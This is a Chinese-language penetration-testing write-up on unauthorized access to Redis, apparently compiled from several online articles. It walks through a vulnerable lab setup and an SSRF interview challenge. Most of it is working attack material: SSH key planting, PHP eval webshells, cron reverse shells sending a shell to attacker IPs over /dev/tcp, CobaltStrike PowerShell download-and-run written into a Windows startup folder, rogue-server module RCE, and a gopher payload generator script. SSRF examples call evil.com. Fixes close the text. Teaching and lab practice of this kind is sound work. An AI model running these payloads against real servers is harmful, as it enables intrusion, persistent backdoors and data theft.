漏洞介绍

Redis安装后,默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空或者弱口令)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

漏洞危害

(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行 flushall 来清空所有数据;

(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;

(3)最严重的情况,如果 Redis 以 root 身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

漏洞影响版本

Redis 2.x,3.x,4.x,5.x

Redis未授权主要是配置不当造成的所以不管哪个版本只要配置有问题就造成危害

1
2
3
4
要成功的利用Redis未授权访问的漏洞需要如下几点
redis服务以root账户运行
redis无密码或弱密码进行认证
redis监听在0.0.0.0公网上或内网中

漏洞利用原理

SSH免密登录原理简介

1
2
3
4
5
6
7
8
SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证也就是我们想要的免密登录了
所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:
(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;
(2)客户端发起登录请求,发送自己的相关信息;
(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;
(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;
(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。
攻击过程:使用redis在数据库中插入一条数据,将本机的公钥作为value,key值,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。

此, 双方互相确认对方身份并建立加密信道, 可以正式进行安全通信。

/image/漏洞复现/Redis未授权访问漏洞/image-20230922193056785

环境搭建

Redis环境安装

官网地址:https://redis.io/

下载地址:http://download.redis.io/releases/

(1)从官网下载Redis源码压缩包

1
wget http://download.redis.io/releases/redis-3.2.11.tar.gz

(2)解压压缩包

1
tar xzf redis-3.2.11.tar.gz

(3)进入安装目录,编译执行

1
2
cd redis-3.2.11
make

出现如下则编译成功。

/image/漏洞复现/Redis未授权访问漏洞/image-20230922210635557

(4)拷贝redis-server和redis-cli拷贝到/usr/bin目录

1
2
3
cd src
cp redis-server /usr/bin/
cp redis-cli /usr/bin/

(5)启动服务,修改配置文件

1
redis-server

/image/漏洞复现/Redis未授权访问漏洞/image-20230922210739233

返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下

1
cp redis.conf /etc/

编辑/etc/redis.conf文件,

1
vim /etc/redis.conf

bind 127.0.0.1前面增加#,注释ip绑定,允许除本地外的主机远程登录redis服务

/image/漏洞复现/Redis未授权访问漏洞/image-20230922210913043

关闭保护模式,将protected-mode yes改为protected-mode no,允许远程连接redis服务,

/image/漏洞复现/Redis未授权访问漏洞/image-20230922211018290

(6)使用修改过后的配置文件启动Redis服务

1
redis-server /etc/redis.conf

/image/漏洞复现/Redis未授权访问漏洞/image-20230922211343179

SSH服务安装

一般Linux系统都会默认安装ssh服务,所以只需要启动ssh服务就行

最后需要在攻击机安装redis客户端

使用redis客户端直接无账号成功登录redis:

/image/漏洞复现/Redis未授权访问漏洞/image-20230922211910903

漏洞利用

首先可以使用 Nmap的检测脚本 对 Redis进行未授权检测

1
nmap -A -p 6379 –script redis-info 192.168.0.126

也可以使用其他工具进行扫描

img

连接数据库查看 info, 确定未授权访问

1
redis-cli -h 192.168.0.126 -p 6379

img

img

Linux 获取权限

SSH公钥

生成密钥在攻击机中

1
ssh-keygen -t rsa

img

将公钥导入key.txt文件(前后用\n\n换行,避免和Redis里其他缓存数据混合)

1
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

img

再把 key.txt 文件内容写入目标主机的缓冲里

1
cat key.txt | redis-cli -h 192.168.0.126 -x set test 

img 再通过设置参数,写入指定文件

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root💀kali)-[~/.ssh]
└─# redis-cli -h 192.168.0.126 -p 6379
192.168.0.126:6379> config set dir /root/.ssh
OK
192.168.0.126:6379> config set dbfilename authorized_keys
OK
192.168.0.126:6379> keys *
1) "test"
192.168.0.126:6379> get test
"\n\n\nssh-rsa xxxxxxxxxxxx \n\n\n\n"
192.168.0.126:6379> save
OK
192.168.0.126:6379>

img

  • ✅如上则为成功写入SSH密钥文件,攻击机可无需密码远程连接目标主机SSH

WebShell

当SSH不允许远程登录时,也可以通过写入 Web目录控制目标主机

1
2
3
4
5
6
7
8
9
10
┌──(root💀kali)-[~/.ssh]
└─# redis-cli -h 192.168.0.126 -p 6379
192.168.0.126:6379> config set dir /var/www/html
OK
192.168.0.126:6379> config set dbfilename xxx.php
OK
192.168.0.126:6379> set web "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
OK
192.168.0.126:6379> save
OK

img

定时任务

也可以通过写入定时任务反弹Shell,获取权限

攻击机监听端口

1
nc -lvvp 9999

redis客户端写payload

1
2
3
4
5
6
7
8
9
192.168.0.126:6379> set test2 "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.140/9999 0>&1\n\n"
OK
192.168.0.126:6379> config set dir /var/spool/cron
OK
192.168.0.126:6379> config set dbfilename root
OK
192.168.0.126:6379> save
OK
192.168.0.126:6379>

img

主从复制

如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。

为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机

其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式

Redis未授权访问在4.x/5.0.5以前版本,我们可以使用主/从模式加载远程模块,通过动态链接库的方式执行任意命令。

关于漏洞原理请查看Pavel Toporkov的分享(opens new window)

漏洞利用脚本: n0b0dyCN/redis-rogue-server(opens new window)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
➜ ./redis-rogue-server.py -h
______ _ _ ______ _____
| ___ \ | (_) | ___ \ / ___|
| |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
| // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
__/ |
|___/
@copyright n0b0dy @ r3kapig

Usage: redis-rogue-server.py [options]

Options:
-h, --help show this help message and exit
--rhost=REMOTE_HOST target host
--rport=REMOTE_PORT target redis port, default 6379
--lhost=LOCAL_HOST rogue server ip
--lport=LOCAL_PORT rogue server listen port, default 21000
--exp=EXP_FILE Redis Module to load, default exp.so
-v, --verbose Show full data stream
Example
1
python3 redis-rogue-server.py --rhost 192.168.51.146 --lhost 192.168.51.146 --exp=exp.so

img

img

Windows 获取权限

Webshell

攻击成功的前提为:需要准确的知道Web目录位置

可通过 phpinfo 或者 网站报错得知

img

这里测试的目标路径为:C:\phpstudy_pro\WWW

1
2
3
4
5
6
7
8
192.168.0.123:6379> config set dir C:\phpstudy_pro\WWW
OK
192.168.0.123:6379> config set dbfilename shell.php
OK
192.168.0.123:6379> set test "<?php @eval($_POST['shell'])?>"
OK
192.168.0.123:6379> save
OK

img

成功写入木马,并可连接控制服务器

img

启动项

攻击方法与写入Linux启动项相似

需要高权限账户

Windows 启动项目录为:

C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/

C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp

首先创建 CobaltStrike监听

1
Attacks -> Web Drive-By -> Script Web Delivery

img

生成 Powershell 语句

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.126:6666/a'))"

执行Redis命令写入语句

1
2
3
4
5
6
7
8
192.168.0.123:6379> config set dir "C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/"
OK
192.168.0.123:6379> config set dbfilename cmd.bat
OK
192.168.0.123:6379> set x "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.0.126:6666/a'))\"\r\n\r\n"
OK
192.168.0.123:6379> save
OK

当主机重启时就会执行命令上线 CobaltStrike

img

ssrf+redis

这个环境是某安科技二面的一道实操题目

web网页存在ssrf漏洞redis在内网环境不出网

image-20240413231955624

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
web1-flag1:
主机信息:
该环境有2台主机,第一台主机访问地址为: 175.**.**.**:80 (备用地址:xx.xx.xx.xx:80) ,剩余一台主机需要各位进行可能的内网代理、端口转发等操作进行发现和渗透
当前FLAG1信息如下:meetsec1: 在第一台主机的根目录,分数为:50分
内网范围在:172.18.240.0/24

web1-flag2:
主机信息:
该环境有2台主机,第一台主机访问地圳为: 175.**.**.**:80 (备用地址:xx.xx.xx.xx:80) ,剩余一台主机需要各位进行可能的内网代理、端口转发等操作进行发现和渗透
当前FLAG2信息如下:
meetsec2:在第二台主机的数据库中,格式为“meetsec2fXXX”,分数为: 50分内网范围在: 172.18.240.0/24

web1-flag3:
主机信息:
该环境有2台主机,第一台主机访问地址为: 175.**.**.**:80 (备用地址:xx.xx.xx.xx:80) ,剩余一台主机需要各位进行可能的内网代理、端口转发等操作进行发现和渗透
当前FLAG3信息如下:meetsec3:在第二台主机的根目录下,分数为:50分
内网范围在:172.18.240.0/24

web1-flag1:

根据题目分析可以得到第一个flag在根目录下面,可以使用file协议直接读取本地文件

image-20240413232604923

web1-flag2:

第二题的flag在数据库中,题目提示了内网IP的范围

使用file协议读取hosts文件也能看到一个内网IP file:///etc/hosts

image-20240413232934488

知道了内网IP地址可以去爆破看一下哪一个IP的6379的端口开放

image-20240414004319017

通过返沪包的大小判断发现有两个不一样的IP:172.18.240.1和172.18.240.7

可以看到172.18.240.7数据库中有flag dict://172.18.240.7:6379/keys \*

image-20240413233513903

dict://172.18.240.7:6379/get flag

image-20240413233637909

web1-flag3:

flag在第二台主机的根目录下,这意味着需要让redis出网

ssrf有一个协议gophgere

构造payload

1
2
3
4
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/185.243.240.79/2333 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

使用脚本生成payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#!/usr/local/bin python
#coding: utf-8

try:
from urllib import quote
except:
from urllib.parse import quote

def generate_info(passwd):

cmd=[
"info",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
return cmd

def generate_shell(filename,path,passwd,payload):

cmd=["flushall",
"set 1 {}".format(payload),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
return cmd

def generate_reverse(filename,path,passwd,payload): # centos

cmd=["flushall",
"set lucy {}".format(payload),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
return cmd

def generate_sshkey(filename,path,passwd,payload):

cmd=["flushall",
"set 3 {}".format(payload),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
return cmd

def generate_rce(lhost,lport,passwd,command="cat /etc/passwd"):

exp_filename="exp.so"
cmd=[
"SLAVEOF {} {}".format(lhost,lport),
"CONFIG SET dir /tmp/",
"config set dbfilename {}".format(exp_filename),
"MODULE LOAD /tmp/{}".format(exp_filename),
"system.exec {}".format(command.replace(" ","${IFS}")),
# "SLAVEOF NO ONE",
# "CONFIG SET dbfilename dump.rdb",
# "system.exec rm${IFS}/tmp/{}".format(exp_filename),
# "MODULE UNLOAD system",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
return cmd

def rce_cleanup():
exp_filename="exp.so"
cmd=[
"SLAVEOF NO ONE",
"CONFIG SET dbfilename dump.rdb",
"system.exec rm /tmp/{}".format(exp_filename).replace(" ","${IFS}"),
"MODULE UNLOAD system",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
return cmd

def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x)))+CRLF+x
cmd+=CRLF
return cmd

def generate_payload(passwd,mode):

payload="test"

if mode ==0:
filename="shell.php"
path="/var/www/html"
shell="\n\n<?=eval($_GET[0]);?>\n\n"

cmd=generate_shell(filename,path,passwd,shell)

elif mode==1:
filename="root"
path="/var/spool/cron/"
shell="\n\n*/1 * * * * bash -i >& /dev/tcp/185.**.**.**/4444 0>&1\n\n"

cmd=generate_reverse(filename,path,passwd,shell.replace(" ","^"))

elif mode==2:
filename="authorized_keys"
path="/root/.ssh/"
pubkey="\n\nssh-rsa "

cmd=generate_sshkey(filename,path,passwd,pubkey.replace(" ","^"))

elif mode==3:
lhost="172.18.240.7"
lport="6379"
command="whoami"

cmd=generate_rce(lhost,lport,passwd,command)

elif mode==31:
cmd=rce_cleanup()

elif mode==4:
cmd=generate_info(passwd)

protocol="gopher://"

ip="172.18.240.7"
port="6379"

payload=protocol+ip+":"+port+"/_"

for x in cmd:
payload += quote(redis_format(x).replace("^"," "))
return payload



if __name__=="__main__":

# 0 for webshell ; 1 for re shell ; 2 for ssh key ;
# 3 for redis rce ; 31 for rce clean up
# 4 for info
# suggest cleaning up when mode 3 used
mode=1

# input auth passwd or leave blank for no pw
passwd = ''

p=generate_payload(passwd,mode)
print(p)

执行这段payload

1
gopher://172.18.240.7:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0Alucy%0D%0A%2460%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/185.243.240.79/4444%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0

image-20240414003057423

攻击机开启监听等待,成功拿到flag3

image-20240414003120924

修复建议

1、指定redis服务使用的网卡 (需要重启redis才能生效)
/etc/redis/redis.conf 文件中找到 “# bind 127.0.0.1” ,把前面的#号去掉,然后保存。注:修改后只有本机才能访问Redis。
2、设置访问密码 (需要重启redis才能生效)
/etc/redis/redis.conf 中找到“requirepass”字段,在后面填上你需要的密码,Redis客户端也需要使用此密码来访问Redis服务。
3、修改Redis服务运行账号
请以较低权限账号运行Redis服务,且禁用该账号的登录权限。可以限制攻击者往磁盘写入文件,但是Redis数据还是能被黑客访问到,或者被黑客恶意删除。
4、设置防火墙策略
如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。
5、临时添加访问密码config set requirepass 密码(重启服务之后无效了)

SSRF伪协议

0x01 类型

1
2
3
4
5
6
Copyfile:///
dict://
sftp://
ldap://
tftp://
gopher://

file://

这种URL Schema可以尝试从文件系统中获取文件:

1
Copyhttp://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini

如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制:

dict://

这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:

1
2
3
4
Copyhttp://example.com/ssrf.php?dict://evil.com:1337/ 
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0

sftp://

在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

1
2
3
4
Copyhttp://example.com/ssrf.php?url=sftp://evil.com:1337/ 
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2

ldap://或ldaps:// 或ldapi://

LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

1
Copyhttp://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

tftp://

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

1
2
3
Copyhttp://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET 
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

gopher://

Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

1
2
3
4
5
Copyhttp://example.com/ssrf.php?url=http://attacker.com/gopher.php

<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
Copyevil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest

0x02 防御

1
2
3
4
5
6
Copy1.禁止跳转
2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
3.禁用不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题
4.设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
5.限制请求的端口为http常用的端口,比如 8044380808090
6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

0x03 参考链接

https://xz.aliyun.com/t/6373#toc-8

redis客户端

Windows系统下有很多redis客户端而且都是可视化的

Linux系统下一般使用的是redis-cli,但是一般Linux不回默认安装redis-cli

渗透测试的时刻可以使用nc去连接redis(nc刚连上的时候没有任何回显,如果有密码需要使用 AUTH yourpassword,其中yourpassword是你设置的密码。如果密码正确,则会返回“OK”,否则会返回“ERR invalid password”。)

image-20231018113203369

总结网上几位大佬的文章,非原创